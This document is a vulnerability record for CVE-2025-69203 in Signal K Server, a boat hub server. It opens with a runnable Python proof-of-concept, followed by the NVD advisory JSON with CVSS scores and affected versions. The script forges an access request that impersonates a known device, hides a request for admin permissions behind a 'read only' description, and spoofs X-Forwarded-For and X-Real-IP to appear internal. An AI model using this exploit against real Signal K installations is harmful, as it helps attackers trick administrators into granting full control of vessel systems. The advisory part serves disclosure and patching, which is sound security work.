CVE-2025-69203

# CVE-2025-69203 PoC - Signal K Server Access Request Spoofing # This PoC demonstrates IP spoofing and misleading access request import requests import json TARGET_URL = "http://target-signalk-server:3000" def exploit_access_request_spoofing(): """ Exploit: Craft malicious access request with spoofed IP and misleading description Attack Vector: Combine IP spoofing (X-Forwarded-For) with social engineering """ # Step 1: Enumerate legitimate device names via information disclosure # (This would use the info disclosure vulnerability to get device names) legitimate_device = "navico-nss-mfd-192.168.1.100" # Step 2: Craft malicious access request # - Use legitimate device name for impersonation # - Request admin permissions # - Provide misleading description suggesting readonly access # - Spoof IP to appear from internal trusted network malicious_request = { "clientId": legitimate_device, "description": "Device firmware update check - read only monitoring", # Misleading! "permissions": "admin" # Actual requested permissions hidden from admin } headers = { "Content-Type": "application/json", # Spoof IP to appear from trusted internal network "X-Forwarded-For": "192.168.1.50", "X-Real-IP": "192.168.1.50" } # Step 3: Send malicious access request response = requests.post( f"{TARGET_URL}/security/accessRequest", json=malicious_request, headers=headers ) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # The admin UI will now show: # - Device name: navico-nss-mfd-192.168.1.100 (appears legitimate) # - Description: Device firmware update check (appears harmless) # - IP: 192.168.1.50 (appears from trusted internal network) # - Actual permissions requested: admin (hidden/obscured) return response.status_code == 200 if __name__ == "__main__": print("CVE-2025-69203 Signal K Server Access Request Spoofing PoC") print("=" * 60) exploit_access_request_spoofing()

{"cve": {"id": "CVE-2025-69203", "sourceIdentifier": "[email protected]", "published": "2026-01-01T19:15:54.067", "lastModified": "2026-01-06T17:54:35.747", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 of the access request system have two related features that when combined by themselves and with an information disclosure vulnerability enable convincing social engineering attacks against administrators. When a device creates an access request, it specifies three fields: `clientId`, `description`, and `permissions`. The SignalK admin UI displays the `description` field prominently to the administrator when showing pending requests, but the actual `permissions` field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request `admin` permissions while providing a description that suggests readonly access. The access request handler trusts the `X-Forwarded-For` HTTP header without validation to determine the client's IP address. This header is intended to preserve the original client IP when requests pass through reverse proxies, but when trusted unconditionally, it allows attackers to spoof their IP address. The spoofed IP is displayed to administrators in the access request approval interface, potentially making malicious requests appear to originate from trusted internal network addresses. Since device/source names can be enumerated via the information disclosure vulnerability, an attacker can impersonate a legitimate device or source, craft a convincing description, spoof a trusted internal IP address, and request elevated permissions, creating a highly convincing social engineering scenario that increases the likelihood of administrator approval. Users should upgrade to version 2.19.0 to fix this issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:signalk:signal_k_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.19.0", "matchCriteriaId": "102A9593-CCDC-4532-8201-E67EEFC665E0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:signalk:signal_k_server:2.19.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "67C0C9C4-176E-457B-97BF-56EED79F4D42"}, {"vulnerable": true, "criteria": "cpe:2.3:a:signalk:signal_k_server:2.19.0:beta2:*:*:*:*:*:*", "matchCriteriaId": "0F33D560-D916-45D7-AAF6-63E89BE06805"}, {"vulnerable": true, "criteria": "cpe:2.3:a:signalk:signal_k_server:2.19.0:beta3:*:*:*:*:*:*", "matchCriteriaId": "2B544F41-AFE7-454F-BE01-89AC7B954AF5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:signalk:signal_k_server:2.19.0:beta4:*:*:*:*:*:*", "matchCriteriaId": "BCF3D7E0-66FE-47F1-97BA-ABCF769B0D7C"}]}]}], "references": [{"url": "https://github.com/SignalK/signalk-server/releases/tag/v2.19.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-vfrf-vcj7-wvr8", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}